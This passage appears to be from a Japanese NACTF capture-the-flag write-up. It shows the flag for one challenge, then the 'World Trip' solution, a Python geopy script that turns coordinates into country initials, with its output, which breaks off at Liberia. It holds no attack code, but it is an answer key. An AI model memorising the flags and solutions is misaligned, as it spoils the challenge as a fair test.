c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
Here's what the robot did:
Acorn Squash, Adzuki Beans, Agar Agar, Alaria, Amaranth Leaves, Anaheim Peppers, Anasazi Beans, Aonori, Arame, Artichoke, Arugula, Avocado, Baby Corn, Bamboo Shoots, Banana Peppers, Banana Squash, Bean Sprouts, Beet, Beet Greens, Belgian Endive, Bell Pepper, Bell Peppers, Bibb Butterhead, Bitter Melon, Black Beans, Black Eyed Peas, Bladderwrack, Bok Choy, Borlotti, Boston Butterhead, Broccoli, Brown Lentils, Brussels Sprouts, Burdock Root, Butter Beans, Buttercup Squash, Butternut Squash, Calabash, Cannellini Beans, Capers, Carrageen Moss, Carrot, Cassava, Cauliflower, Cayenne Peppers, Celery, Celery Root, Celtuce, Chana Dal, Chanterelle Mushrooms, Chayote, Cherry Peppers, Chinese Broccoli, Chipotle Peppers, Chlorella, Christmas Lima Bean, Chunky Turnips, Collard Greens, Corn, Corona Beans, Crimini Mushrooms, Cubanelle Peppers, Cucumber, Curly, Cushaw Squash, Daikon Radish, Dandelion Greens, Delicata Squash, Desi, Digitata Kelp, Dulse, Edamame, Eggplant, Elephant Garlic, Endive, English Cucumber, Enoki Mushrooms, Escarole, Fava Beans, Fennel, Fiddlehead, Flageolet Beans, Fresno Peppers, Galangal, Garbanzo Beans, Garlic, Gherkin, Ginger, Grape Leaves, Great Northern Beans, Green Asparagus, Green Beans, Green Cabbage, Green Leaf, Green Lentils, Green Onions, Green Peas, Green Split Peas, Greens, Habanero Peppers, Hearts of Palm, Hijiki, Horseradish, Hubbard Squash, Hungarian Peppers, Iceberg, Jalapeno Peppers, Jerusalem Artichoke, Jicama, Kabocha Squash, Kale, Kelp, Kidney Beans, Kohlrabi, Kohlrabi Greens, Kombu, Lacinato, Laver, Leeks, Lemongrass, Lettuce, Lima Beans, Lotus Root, Lotus Seed, Lupini Beans, Maitake Mushrooms, Marrow Beans, Morel Mushrooms, Moth Beans, Mozuku, Mung Beans, Mustard Greens, Napa Cabbage, Navy Beans, New Mexico Peppers, Nopales, Nori, Ogonori, Okra, Olive, Onion, Ornamental, Oyster Mushrooms, Parsley, Parsley Root, Parsnip, Patty Pan, Peas, Pickling Cucumbers, Pigeon Pea, Pimento Peppers, Pink Beans, Pinto Beans, Plantain, Poblano Peppers, Porcini Mushrooms, Portobello Mushrooms, Potato, Pumpkin, Pumpkin Squash, Purple Asparagus, Purslane, Radicchio, Radish, Rapini, Red Beans, Red Cabbage, Red Leaf, Red Lentils, Rice Beans, Rockweed, Romaine, Royal Trumpet Mushrooms, Rutabaga, Savoy Cabbage, Scarlet Runner Beans, Sea Grape, Sea Lettuce, Serrano Peppers, Shallots, Shiitake Mushrooms, Snow Peas, Soybean, Spaghetti Squash, Spanish Tolosana Beans, Spinach, Spirulina, Sport Peppers, Sugar Snap Peas, Sweet Banana Peppers, Sweet Potato, Swiss Chard, Taro, Tepary Beans, Thai Peppers, Tomatillo, Tomato, Truffles Mushrooms, Turban Squash, Turnip, Turnip Greens, Urad, Wakame, Water Chestnut, Water Spinach, Watercress, Wax Beans, White Asparagus, White Button Mushrooms, Winter Melon, Yams, Yellow Lentils, Yellow Split Peas, Yellow Squash, Zucchini, Zucchini Squash
🥬🥕🌽🍆🥦🥒🥑🍄 That's correct!! 🥬🥕🌽🍆🥦🥒🥑🍄
nactf{1t_t4k35_tw0_t0_m4n90_8a51c7b47fbe227}
nactf{1t_t4k35_tw0_t0_m4n90_8a51c7b47fbe227}

World Trip (General Skills 300)

緯度、経度から国名を取得し、頭文字をつなげる。

from geopy.geocoders import Nominatim

with open('enc.txt', 'r') as f:
    data = f.read()
data =  data[1:-1].split(')(')

geolocator = Nominatim()

msg = ''
for d in data:
    lat = float(d.split(', ')[0])
    lng = float(d.split(', ')[1])
    print '[+] coordinates =', (lat, lng)
    location = geolocator.reverse([lat, lng], language='en')
    country = location.raw['address']['country']
    print '[+] country =', country

    msg += country[0]
    print '[+] message =', msg

flag = 'nactf{%s}' % msg
print '[+] flag =', flag

実行結果は以下の通り。

[+] coordinates = (38.05986232308507, 15.8432894525962)
[+] country = Italy
[+] message = I
[+] coordinates = (47.211344165973514, 20.354952103714513)
[+] country = Hungary
[+] message = IH
[+] coordinates = (17.25973909829986, 55.0224496264628)
[+] country = Oman
[+] message = IHO
[+] coordinates = (38.22502142844617, -7.33250087717289)
[+] country = Portugal
[+] message = IHOP
[+] coordinates = (23.88202949402496, 31.174381589068823)
[+] country = Egypt
[+] message = IHOPE
[+] coordinates = (14.516558872523623, 44.65865380657034)
[+] country = Yemen
[+] message = IHOPEY
[+] coordinates = (19.27873390371899, 56.07439079617188)
[+] country = Oman
[+] message = IHOPEYO
[+] coordinates = (-33.2817529270608, -54.27257720513435)
[+] country = Uruguay
[+] message = IHOPEYOU
[+] coordinates = (58.47205026720734, 22.157381423765575)
[+] country = Estonia
[+] message = IHOPEYOUE
[+] coordinates = (-43.74850902717684, 171.1375584752376)
[+] country = New Zealand
[+] message = IHOPEYOUEN
[+] coordinates = (17.86566218337709, -76.35950083438524)
[+] country = Jamaika
[+] message = IHOPEYOUENJ
[+] coordinates = (19.60687359014362, 56.663690621673865)
[+] country = Oman
[+] message = IHOPEYOUENJO
[+] coordinates = (16.030770380006103, 47.06952754610786)
[+] country = Yemen
[+] message = IHOPEYOUENJOY
[+] coordinates = (13.363543111946713, 41.242737732395554)
[+] country = Ethiopia
[+] message = IHOPEYOUENJOYE
[+] coordinates = (18.552166046061625, -68.87947403983893)
[+] country = Dominican Republic
[+] message = IHOPEYOUENJOYED
[+] coordinates = (3.467920818814562, -59.754016669147326)
[+] country = Guyana
[+] message = IHOPEYOUENJOYEDG
[+] coordinates = (18.110782775352224, 53.12686881216833)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGO
[+] coordinates = (35.02475430619073, 55.45541602112522)
[+] country = Iran
[+] message = IHOPEYOUENJOYEDGOI
[+] coordinates = (-0.5150357559262346, 166.92323030885552)
[+] country = Nauru
[+] message = IHOPEYOUENJOYEDGOIN
[+] coordinates = (12.093232455950531, -61.74760056313032)
[+] country = Grenada
[+] message = IHOPEYOUENJOYEDGOING
[+] coordinates = (18.609999805223882, 55.26805324457104)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGO
[+] coordinates = (-22.586831547184246, 16.998161518626304)
[+] country = Namibia
[+] message = IHOPEYOUENJOYEDGOINGON
[+] coordinates = (38.68153215628895, 54.49895525753767)
[+] country = Turkmenistan
[+] message = IHOPEYOUENJOYEDGOINGONT
[+] coordinates = (15.11514100356908, -87.27246015520466)
[+] country = Honduras
[+] message = IHOPEYOUENJOYEDGOINGONTH
[+] coordinates = (40.82333050997663, 20.72996031632326)
[+] country = Albania
[+] message = IHOPEYOUENJOYEDGOINGONTHA
[+] coordinates = (37.10220235760721, 38.98029778701853)
[+] country = Turkey
[+] message = IHOPEYOUENJOYEDGOINGONTHAT
[+] coordinates = (71.78821900126789, 118.15959789707244)
[+] country = Russia
[+] message = IHOPEYOUENJOYEDGOINGONTHATR
[+] coordinates = (13.356919072590303, -88.4773940053109)
[+] country = El Salvador
[+] message = IHOPEYOUENJOYEDGOINGONTHATRE
[+] coordinates = (24.896051017130702, -0.2743033817954615)
[+] country = Algeria
[+] message = IHOPEYOUENJOYEDGOINGONTHATREA
[+] coordinates = (34.094766942524494, 35.71490150502658)
[+] country = Lebanon
[+] message = IHOPEYOUENJOYEDGOINGONTHATREAL
[+] coordinates = (15.996455143419045, 105.94351385953291)
[+] country = Laos
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALL
[+] coordinates = (14.21026238771147, 43.58847451598756)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLY
[+] coordinates = (55.91462617438814, 25.817892198774015)
[+] country = Lithuania
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYL
[+] coordinates = (18.63138245119379, 52.83683625942154)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLO
[+] coordinates = (66.22189725846181, 13.649019915527944)
[+] country = Norway
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLON
[+] coordinates = (6.744557584406142, -60.464152681014795)
[+] country = Guyana
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONG
[+] coordinates = (8.91859257010337, -0.8096208437355104)
[+] country = Ghana
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGG
[+] coordinates = (47.199477398866065, 9.538300956829042)
[+] country = Liechtenstein
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGL
[+] coordinates = (23.188016381221523, 55.3132194391151)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLO
[+] coordinates = (8.523593633895716, 2.112298159567147)
[+] country = Benin
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOB
[+] coordinates = (-11.787824879848683, 18.53532841924048)
[+] country = Angola
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBA
[+] coordinates = (-29.30347093934442, 28.20379380956118)
[+] country = Lesotho
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBAL
[+] coordinates = (37.929333276190256, 40.73688717003166)
[+] country = Turkey
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALT
[+] coordinates = (23.929590867564897, 56.56027282803627)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTO
[+] coordinates = (44.18694583375582, 56.80910644724705)
[+] country = Uzbekistan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOU
[+] coordinates = (44.6019282503594, 24.810475125599922)
[+] country = Romania
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOUR
[+] coordinates = (32.27773836535555, 49.36743330459481)
[+] country = Iran
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURI
[+] coordinates = (-21.39077596116758, 23.635054345408992)
[+] country = Botswana
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIB
[+] coordinates = (23.41929762687114, 55.89516858621222)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBO
[+] coordinates = (-17.462537530659905, 177.7273417735306)
[+] country = Fiji
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOF
[+] coordinates = (19.879956595240902, 3.6276990712039208)
[+] country = Algeria
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFA
[+] coordinates = (52.56181264190662, -8.265977644277852)
[+] country = Ireland
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAI
[+] coordinates = (25.151832227004686, 51.541842135141636)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQ
[+] coordinates = (49.55506825861984, 3.0301863978103967)
[+] country = France
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQF
[+] coordinates = (42.04179735208369, 64.10276022426153)
[+] country = Uzbekistan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFU
[+] coordinates = (8.949717638429389, -11.542101363551655)
[+] country = Sierra Leone
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUS
[+] coordinates = (-0.9035188281627704, -76.37407728328733)
[+] country = Ecuador
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSE
[+] coordinates = (36.013881386063275, 8.74298595901514)
[+] country = Tunisia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSET
[+] coordinates = (-10.714656801594444, 29.219931460221193)
[+] country = Zambia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZ
[+] coordinates = (21.06889772265275, 56.38196430425611)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZO
[+] coordinates = (46.17043278291924, 26.681948178629046)
[+] country = Romania
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOR
[+] coordinates = (23.70734764933726, 56.03890383709747)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZORO
[+] coordinates = (8.737708271493537, 117.72966958414108)
[+] country = Philippines
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROP
[+] coordinates = (-18.58180459461259, 29.381713784662846)
[+] country = Zimbabwe
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZ
[+] coordinates = (-22.653287489831296, 19.1574064127943)
[+] country = Namibia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZN
[+] coordinates = (25.277011692153238, 50.799422982816715)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQ
[+] coordinates = (11.31458513013798, -60.5747802213432)
[+] country = Trinidad and Tobago
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQT
[+] coordinates = (49.696595823482795, 6.369050364979649)
[+] country = Luxembourg
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTL
[+] coordinates = (7.581597597338725, 46.71319318147542)
[+] country = Ethiopia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLE
[+] coordinates = (-0.533302431488295, 166.92627335937135)
[+] country = Nauru
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLEN
[+] coordinates = (-17.41085166040255, 178.07349787346857)
[+] country = Fiji
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENF
[+] coordinates = (50.00303604240585, 5.933572532266765)
[+] country = Luxembourg
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFL
[+] coordinates = (44.01655240270499, 6.021133631110928)
[+] country = France
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLF
[+] coordinates = (34.98440731788792, 40.25585298352403)
[+] country = Syria
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFS
[+] coordinates = (22.128803585667736, 26.434232431309322)
[+] country = Egypt
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSE
[+] coordinates = (30.69009271867001, -5.248552377060234)
[+] country = Morocco
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEM
[+] coordinates = (21.624569081582468, 57.49349895909359)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMO
[+] coordinates = (41.13436291453775, 24.776622382596862)
[+] country = Greece
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOG
[+] coordinates = (-18.134496650179813, 47.26923513590381)
[+] country = Madagascar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGM
[+] coordinates = (46.32491576684599, 18.332788240679967)
[+] country = Hungary
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMH
[+] coordinates = (18.879611817836132, -70.14469362454453)
[+] country = Dominican Republic
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHD
[+] coordinates = (13.251874091158836, -59.6170687122751)
[+] country = Barbados
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDB
[+] coordinates = (15.227628546597128, 38.73476593596845)
[+] country = Eritrea
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBE
[+] coordinates = (17.176820086568167, 37.77253970783151)
[+] country = Eritrea
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEE
[+] coordinates = (30.320946501045405, 78.99643073367112)
[+] country = India
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEI
[+] coordinates = (-19.459269063492886, 27.735354275837633)
[+] country = Zimbabwe
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZ
[+] coordinates = (18.852002860826435, 56.91383871916405)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZO
[+] coordinates = (42.225365128281084, 14.542379833513355)
[+] country = Italy
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOI
[+] coordinates = (47.864404450825745, 36.899449073210974)
[+] country = Ukraine
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIU
[+] coordinates = (20.975464667807426, 56.685882978125434)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUO
[+] coordinates = (50.11241395662852, -78.91919055751814)
[+] country = Canada
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOC
[+] coordinates = (12.178214310796799, -61.70490604228897)
[+] country = Grenada
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCG
[+] coordinates = (6.827887418112218, 80.68527183354246)
[+] country = Sri Lanka
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGS
[+] coordinates = (34.43558739525069, 36.20794673710201)
[+] country = Lebanon
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSL
[+] coordinates = (6.772908675011422, 12.352958015549664)
[+] country = Cameroon
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLC
[+] coordinates = (55.31030542836802, 9.120814858704152)
[+] country = Denmark
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCD
[+] coordinates = (17.79623100484327, 48.668077146401394)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDY
[+] coordinates = (-21.523719113138117, 47.92061780478997)
[+] country = Madagascar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYM
[+] coordinates = (25.577403847503334, 51.3766633861097)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQ
[+] coordinates = (15.252492268895121, 47.45485577720957)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQY
[+] coordinates = (53.58857821052816, -6.717670880951706)
[+] country = Ireland
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYI
[+] coordinates = (56.18323244011227, 38.0836941754894)
[+] country = Russia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIR
[+] coordinates = (7.594654938508367, -10.420859574820945)
[+] country = Liberia
